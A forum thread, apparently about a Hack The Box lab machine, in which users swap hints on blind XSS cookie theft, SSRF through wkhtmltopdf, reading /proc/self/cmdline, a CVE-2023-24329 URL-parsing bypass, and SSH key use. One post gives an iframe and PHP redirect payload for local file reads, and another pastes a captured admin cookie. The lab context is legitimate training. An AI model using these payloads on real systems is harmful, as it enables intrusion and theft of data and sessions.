[jsvensson]

user, finally
use the SSRF to find application code
use that same ssrf to access the next hop (http is not the only protocol
convert key
profit.

now for the root....

How do you know the location of the source code?

use file:///proc/self/cmdline

[vanatka123]

user, finally
use the SSRF to find application code
use that same ssrf to access the next hop (http is not the only protocol
convert key
profit.

now for the root....

How do you know the location of the source code?

use file:///proc/self/cmdline

oh that new, thanks

[ZenMunk3y]

what the hell am I missing here?
I've been following this thread and I got that it's a blind XSS.  But the payload just isn't working!  I've reset the machine a couple of times and I just can't get it to to send the cookie to my server.  Even trying to test the XSS I can't get it to communicate with my server at all.  Please tell me it's something simple I'm missing?  I feel like I'm hitting my head against a brick wall

[KillerWhale]

user, finally
use the SSRF to find application code
use that same ssrf to access the next hop (http is not the only protocol
convert key
profit.

now for the root....

How do you know the location of the source code?

use file:///proc/self/cmdline

Did you put it on report_url or create a php file and request to your server?

[jsvensson]

user, finally
use the SSRF to find application code
use that same ssrf to access the next hop (http is not the only protocol
convert key
profit.

now for the root....

How do you know the location of the source code?

use file:///proc/self/cmdline

Did you put it on report_url or create a php file and request to your server?

Nope just use cve-2023–24329 -- put space before file:///

[KillerWhale]

user, finally
use the SSRF to find application code
use that same ssrf to access the next hop (http is not the only protocol
convert key
profit.

now for the root....

How do you know the location of the source code?

use file:///proc/self/cmdline

Did you put it on report_url or create a php file and request to your server?

Nope just use cve-2023–24329 -- put space before file:///

Ok, thank you, it worked!

[vanatka123]

Did I miss something? I have the key,pass and i guess user is root but can't connect

[s0jnik]

ssrf via wkhtmltopdf

i cannot make lfi working.
i host `index.html` which includes the iframe

<iframe src="http://10.10.X.X/lfi.php?x=/etc/passwd" height=1000px width=1000px></iframe>

and a lf.php like

<?php
header('location:file://'.$_REQUEST['x']);
?>

When i pass the url to the form, i see the 2 GET requests

10.10.11.15 - - [28/Apr/2024 17:45:06] "GET /index.html HTTP/1.1" 200 -
10.10.11.15 - - [28/Apr/2024 17:45:06] "GET /lfi.php?x=/etc/passwd HTTP/1.1" 200 -

But i dont get  pdf rendering with the requested files

The pdf shows

Frame load interrupted by policy change


What do i wrong?

[jsvensson]

Did I miss something? I have the key,pass and i guess user is root but can't connect

try using ssh-add and then you'll know something

[DrBan]

If anyone stuck on this xss
admin cookie eyJ1c2VyX2lkIjogNiwgInVzZXJuYW1lIjogIjEyMzQiLCAicm9sZSI6ICJ1c2VyIn18NTQ5ZGU5NjRjY2NlOGE4NDI4ZTA0ZGMwNzU2ZGE4YmI5NzA1ODlkOTEzYjI0Y2Y5OGZlYTliNzM3Y2E3ZjY5NA==
try it if it works move on to http://dashboard.comprezzor.htb/create_pdf_report

i HAVE THE COOKIE BUT HOW TO ACCESS THE DASHBOARD url it redirects me to the login page not able to use the cookie to log in